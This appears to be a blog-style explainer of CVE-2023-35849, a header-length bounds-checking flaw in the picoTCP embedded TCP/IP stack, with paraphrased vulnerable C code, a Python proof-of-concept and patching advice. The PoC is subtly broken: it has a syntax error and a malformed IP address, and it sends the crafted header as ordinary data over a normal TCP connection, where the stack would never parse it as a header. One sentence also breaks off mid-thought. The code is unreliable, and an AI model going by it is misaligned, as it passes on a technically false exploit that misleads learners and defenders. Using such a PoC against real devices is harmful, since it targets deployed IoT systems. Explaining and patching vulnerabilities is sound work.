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Introduction

In June 2023, a high-impact vulnerability was disclosed with the identifier CVE-2023-35849. This affected the lightweight, embeddable TCP/IP stack known as picoTCP (or PicoTCP-NG), a network stack intended for minimal systems like IoT devices. Versions through 2.1 of picoTCP are vulnerable and, if left unpatched, could allow attackers to execute serious exploits by taking advantage of improper checks on packet header sizes.

Today, let's break down this CVE in simple language: what is the bug, how can it be exploited, what does the code look like, and how can you defend your systems?

What Is picoTCP?

picoTCP is a small, open-source TCP/IP stack. Developers use it in resource-constrained devices, from hobbyist gadgets to commercial IoT products. Its lightweight nature makes it attractive for embedded use, but that also means security bugs can have wide-reaching effects.

The Vulnerability: What Is CVE-2023-35849?

Summary: The picoTCP stack, up to and including version 2.1, does not properly check whether the header sizes specified in packets would access memory outside the actual packet data. This means a carefully crafted packet could trick picoTCP into reading or writing data it shouldn’t, potentially crashing the system or allowing code execution.

CVE Details:
- CVE: CVE-2023-35849

Attack Vector: Remote (network packets)

- Severity: High (buffer overflow / memory corruption potential)
- Disclosure: oss-security post

Technical Details

Let's dig into how this bug works—and what the code looks like.

Problematic Code Pattern

In packet parsing, especially in embedded or networked code, it's vital to verify packet and header lengths—otherwise, trusting what the network or the attacker sends can be dangerous.

For example, in the picoTCP codebase, you might see code like this (paraphrased for illustration)

uint8_t *packet = ...;         // Pointer to start of received packet
uint16_t packet_size = ...;    // Total length of received packet

struct pico_tcp_hdr *tcp_hdr = (struct pico_tcp_hdr *) packet + offset;

// Problem: What if offset + sizeof(struct pico_tcp_hdr) is > packet_size?
// The code (prior to patch) did NOT always check for this!

uint16_t tcp_data_offset = tcp_hdr->hlen * 4;
if(tcp_data_offset > packet_size) {
    // Should reject here, but not always handled!
}

If tcp_hdr->hlen (the header length, taken from the TCP packet itself) is set maliciously large, code could:

Exploit Scenario

1. Attacker crafts a malicious packet: They set header length fields to values larger than the actual data size of the packet.
2. Packet arrives at picoTCP device: The code tries to parse headers using the attacker-provided length.
3. Buffer overflow or read outside the buffer: Since checks are missing or incomplete, the code reads outside the data bounds.

Denial of Service: Crash the device, making it reboot or hang.

- Arbitrary Code Execution: With more advanced exploitation, run unauthorized code, taking over the device.

Proof-of-Concept Exploit

Here’s a simple pseudo-code PoC that demonstrates how an exploit might be triggered. Don’t run this on production systems!

import socket

def send_malicious_packet(target_ip, target_port):
    # Create a fake TCP header with an oversized header length
    # TCP header data offset is in the top 4 bits (shifted left by 4)
    data_offset = xF << 4  # Set to 60 bytes (60 / 4 = 15)
    fake_tcp_header = b'\x00\x50'        # Source port
    fake_tcp_header += b'\x00\x50'       # Dest port
    fake_tcp_header += b'\x00\x00\x00\x00'  # Seq num
    fake_tcp_header += b'\x00\x00\x00\x00'  # Ack num
    fake_tcp_header += bytes([data_offset]) # Data offset + reserved bits
    fake_tcp_header += b'\x00'               # Flags
    fake_tcp_header += b'\x00\x00'           # Window
    fake_tcp_header += b'\x00\x00'           # Checksum
    fake_tcp_header += b'\x00\x00'           # Urgent pointer
    # Actual packet smaller than header length (e.g. header says 60 but only sending 24)
    pkt = fake_tcp_header
    # Send to picoTCP device
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.connect((target_ip, target_port))
        s.send(pkt[:24])    # only send smaller data, causing overflow in parsing

# Example usage: send_malicious_packet('192.168..10', 80)

The key is that the packet claims to have a long header (via the TCP data offset field), but the real data is shorter—triggering out-of-bounds access in the vulnerable picoTCP code.

- Main CVE record: https://nvd.nist.gov/vuln/detail/CVE-2023-35849
- oss-security Advisory: https://www.openwall.com/lists/oss-security/2023/06/22/3
- Patch / Fix in picoTCP: Official commit
- picoTCP Source: GitHub - picoTCP

Are you using picoTCP v2.1 or earlier?

1. Update!
The official fix is in commit 7cb32e28, which adds proper checks for header sizes before parsing.

2. Test Your Devices
Scan your firmware and network stack. Use fuzzing tools to test your devices against malformed headers.

3. Defense in Depth

Network Segmentation: Don’t expose picoTCP devices directly to public networks.

- Input Validation: If customizing picoTCP, ensure you never process header sizes that don’t fit within the bounds of the actual packet.

Conclusion

CVE-2023-35849 is a stark reminder that even "small" or embedded network stacks can have big security implications. For anyone making or maintaining IoT and embedded network devices, it's vital to keep dependencies updated and to watch for these kinds of boundary-checking bugs.

If you’re managing picoTCP-based products, patch now. If you’re learning network C coding, remember: always check your lengths against your real buffers—not just what the packet *claims*!


*Stay secure, and always review your code’s assumptions—especially when they come from the network.*


Disclaimer: This article is for educational purposes only. Do not use the information here to target or harm any systems without explicit, legal permission.

Timeline

Published on: 06/19/2023 03:15:00 UTC
Last modified on: 06/26/2023 17:57:00 UTC